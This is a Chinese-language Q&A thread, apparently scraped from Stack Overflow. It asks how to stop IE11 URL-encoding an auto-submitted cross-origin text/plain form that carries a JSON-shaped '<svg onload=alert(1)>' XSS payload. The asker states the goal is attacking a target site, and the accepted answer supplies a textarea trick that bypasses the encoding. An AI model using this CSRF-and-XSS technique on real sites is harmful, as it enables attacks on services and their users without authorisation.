【问题标题】:How to prevent form body encoding for text/plain in IE如何防止 IE 中文本/纯文本的表单正文编码
【发布时间】:2019-11-07 06:20:51
【问题描述】:

即使我使用 enctype="text/plain",IE11.2848 也会对表单正文进行编码。

  <body>
    <form action="/n/jsonxss" method="POST" enctype="text/plain">
      <input type="hidden" name='{"test":"<svg onload=alert(1)>"}' value='{"test":"<svg onload=alert(1)>"}' />
      <input type="submit" value="Submit request" />
    </form>
    <script>document.forms[0].submit()</script>
  </body>

IE 发出的请求:

POST /n/jsonxss HTTP/1.1
Content-Type: text/plain
Content-Length: 73
Host: [..]

{%22test%22:%22<svg onload=alert(1)>%22}={"test":"<svg onload=alert(1)>"}

Chrome 发出的请求:

POST /n/jsonxss HTTP/1.1
Content-Type: text/plain
Content-Length: 65
Host: [..]

{"test":"<svg onload=alert(1)>"}={"test":"<svg onload=alert(1)>"}

如何避免 IE11 中“name”属性双引号的 url 编码?

这个请求应该从不同的域发送,所以 application/json 不是一个选项,因为它需要一个预检请求。

【问题讨论】:

  • text/plain 不适合除调试之外的任何东西(这是一种次优的方法,所以永远不要使用它)。您不能使用 JSON,因为您使用的是表单(预检请求仅适用于 Ajax)。只需使用 URL 编码(这是默认设置)并更改服务器以支持它。
  • 如何在目标网站上执行 xss 攻击更像是一个安全问题。目标服务器将请求正文解析为 json,无论请求标头中说明了什么内容类型。显然,我无法更改目标服务器。
  • 而且预检请求不仅适用于 Ajax。如果你指定一个非简单的 enctype(例如“application/json”),浏览器也会发送一个 CORS 预检请求。
  • "如何在目标网站上执行 xss 攻击更像是一个安全问题。" - 不要。
  • "如果你指定了一个非简单的enctype(比如"application/json")"……那么浏览器会忽略它,因为它是无效的HTML。

标签: html forms security internet-explorer xss


【解决方案1】:

如果使用&lt;textarea&gt;而不是&lt;input&gt;,则url编码不适用:

<form action="/n/jsonxss" method="POST" enctype="text/plain">
    <textarea name='{"<svg onload=alert(1)>":"'>"}</textarea>
</form>

【讨论】:

  • 感谢您发布此问题的解决方案。您可以在 48 小时后将您的答案标记为已接受的答案,此时可以标记。它可以在未来帮助其他社区成员解决类似的问题。感谢您的理解。
猜你喜欢
  • 2012-08-02
  • 2018-06-30
  • 1970-01-01
  • 2020-12-01
  • 2014-11-04
  • 2021-12-30
  • 2015-09-27
  • 1970-01-01
  • 1970-01-01
相关资源
最近更新 更多